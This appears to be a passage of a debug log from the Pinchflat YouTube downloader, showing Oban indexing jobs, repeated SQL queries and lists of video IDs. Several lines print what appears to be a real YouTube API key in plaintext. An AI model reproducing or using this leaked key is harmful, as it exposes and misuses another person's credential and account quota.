{"args":{"id":15},"id":3800246,"meta":{},"system_time":1770767229114019145,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:09.114 [info] {"args":{"id":42},"id":3800247,"meta":{},"system_time":1770767229114087491,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:09.114 [debug] QUERY OK source="sources" db=0.2ms idle=1235.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 17:47:09.114 [debug] QUERY OK source="sources" db=0.1ms idle=1235.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 17:47:09.115 [debug] QUERY OK source="settings" db=0.2ms idle=1009.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:09.115 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:09.115 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:09.115 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 17:47:09.115 [debug] QUERY OK source="settings" db=1.0ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:09.115 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:09.116 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:09.116 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:09.116 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:09.116 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 17:47:09.116 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:09.116 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:09.315 [debug] QUERY OK source="media_items" db=0.6ms idle=198.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", "ByK18GA2DZk", "YJgcAP3WHzM", "B0PiIsgmsTo", "O5myIiXLqug", "R6fZRX7mnEg", "Su5etRwlI-s", "ckwtQLlXZYQ", ...] 17:47:09.315 [debug] QUERY OK source="media_items" db=0.3ms idle=199.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 17:47:09.316 [debug] QUERY OK source="tasks" db=0.0ms idle=200.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800285, 15, ~U[2026-02-10 23:47:09Z], ~U[2026-02-10 23:47:09Z]] 17:47:09.316 [info] {"args":{"id":15},"id":3800246,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":202698,"event":"job:stop","queue_time":516821,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:09.322 [info] {"args":{"id":13},"id":3800248,"meta":{},"system_time":1770767229322691601,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:09.322 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 17:47:09.323 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:09.323 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:09.323 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:09.323 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 17:47:09.323 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:09.323 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:09.393 [debug] QUERY OK source="media_items" db=0.2ms idle=70.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?)) [42, "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 17:47:09.393 [debug] QUERY OK source="media_items" db=0.1ms idle=70.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 17:47:09.394 [debug] QUERY OK source="tasks" db=0.1ms idle=70.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800286, 42, ~U[2026-02-10 23:47:09Z], ~U[2026-02-10 23:47:09Z]] 17:47:09.394 [info] {"args":{"id":42},"id":3800247,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":280520,"event":"job:stop","queue_time":465328,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:09.400 [info] {"args":{"id":22},"id":3800249,"meta":{},"system_time":1770767229400678206,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:09.401 [debug] QUERY OK source="sources" db=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 17:47:09.401 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:09.401 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:09.401 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:09.401 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 17:47:09.401 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:09.401 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:09.488 [debug] QUERY OK source="media_items" db=0.3ms idle=87.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", "TC9-t47tKts", "ivSOrKAsPss", "tBD1NyabTt4", "33yvx6Uui-c", "FuSsFdzF8tE", ...] 17:47:09.489 [debug] QUERY OK source="media_items" db=0.2ms idle=88.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 17:47:09.490 [debug] QUERY OK source="tasks" db=0.1ms idle=88.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800287, 13, ~U[2026-02-10 23:47:09Z], ~U[2026-02-10 23:47:09Z]] 17:47:09.490 [info] {"args":{"id":13},"id":3800248,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":167509,"event":"job:stop","queue_time":531543,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:09.603 [debug] QUERY OK source="media_items" db=0.7ms idle=112.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 17:47:09.604 [debug] QUERY OK source="media_items" db=0.4ms idle=113.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 17:47:09.605 [debug] QUERY OK source="tasks" db=0.2ms idle=108.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800288, 22, ~U[2026-02-10 23:47:09Z], ~U[2026-02-10 23:47:09Z]] 17:47:09.605 [info] {"args":{"id":22},"id":3800249,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":204945,"event":"job:stop","queue_time":519099,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:11.115 [info] {"args":{"id":14},"id":3800250,"meta":{},"system_time":1770767231115773441,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:11.116 [debug] QUERY OK source="sources" db=0.2ms idle=237.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 17:47:11.116 [debug] QUERY OK source="settings" db=0.1ms idle=238.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 